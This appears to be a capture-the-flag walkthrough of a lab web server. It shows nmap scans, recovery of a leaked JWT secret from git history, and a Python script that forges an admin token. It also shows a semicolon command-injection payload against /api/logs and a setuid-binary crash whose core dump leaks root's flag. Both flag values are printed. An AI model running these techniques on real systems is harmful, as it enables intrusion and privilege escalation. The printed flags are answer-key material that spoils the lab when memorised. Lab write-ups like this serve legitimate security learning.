nmap -Pn -p- --min-rate 500 -T4 10.129.90.65
nmap -sV -sC -p 22,80,3000 10.129.90.65

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs

curl -sO http://10.129.90.65/download/files.zip
unzip files.zip -d source/
ls -la source/

Archive:  files.zip
   creating: source/.git/
   ...
  inflating: source/app.js
  inflating: source/package.json

cd source
git log --oneline

80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
...
67d8da7 removed .env for security reasons

git show 67d8da7

-TOKEN_SECRET=gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

import hmac, hashlib, base64, json

def b64url(obj):
    raw = json.dumps(obj, separators=(',', ':')).encode()
    return base64.urlsafe_b64encode(raw).rstrip(b'=').decode()

secret = "gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE"
header  = {"alg": "HS256", "typ": "JWT"}
payload = {"_id": "deadbeefdeadbeef12345678", "name": "theadmin", "email": "pwn@htb.htb"}

h = b64url(header)
p = b64url(payload)
msg = f"{h}.{p}"
sig = hmac.new(secret.encode(), msg.encode(), hashlib.sha256).digest()
s = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
jwt = f"{msg}.{s}"
print(jwt)

認証済みユーザー向けの/api/logsエンドポイントは、サーバーログを
表示するためおおよそ以下のようなコードで実装されている:

  exec('git log --oneline ' + file)

fileパラメータの値がサニタイズされずそのままシェルコマンドへ
連結されるため、file=";<任意コマンド>" とすればセミコロンで
コマンドを区切り任意のコマンドを追加実行できる。

curl -s -G --data-urlencode "file=;cat /home/dasith/user.txt" \
  http://10.129.90.65/api/logs \
  -H "auth-token: <偽造JWT>"

"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nde9cba540d0a98c29f8853648ccee2d4\n"

ls -la /opt/

-rw-r--r--  1 root root  3736 Oct  7  2021 code.c
-rwsr-xr-x  1 root root  ...   count

/opt/countはおそらくファイルパスを標準入力で受け取り内容を処理する
プログラム。入力待ち状態のままシグナルSIGSEGV(セグメンテーション違反)
で強制終了させると、root権限で実行中のメモリ内容がそのままコアダンプ
ファイルとして/var/crash/配下に書き出される(Ubuntu標準のapportクラッシュ
報告機構による)。メモリ内には直前にcatしたような機密ファイル内容が
残っている可能性が高い——これを狙う。

(printf '/root/root.txt\n'; sleep 10) | /opt/count &
PID=$!
sleep 2
kill -11 $PID

CRASH_OK

apport-unpack /var/crash/_opt_count.*.crash /tmp/cx/
strings /tmp/cx/CoreDump | grep -oE '[0-9a-f]{32}'

f661885b3ebef52a0d1ef2ddcb119e45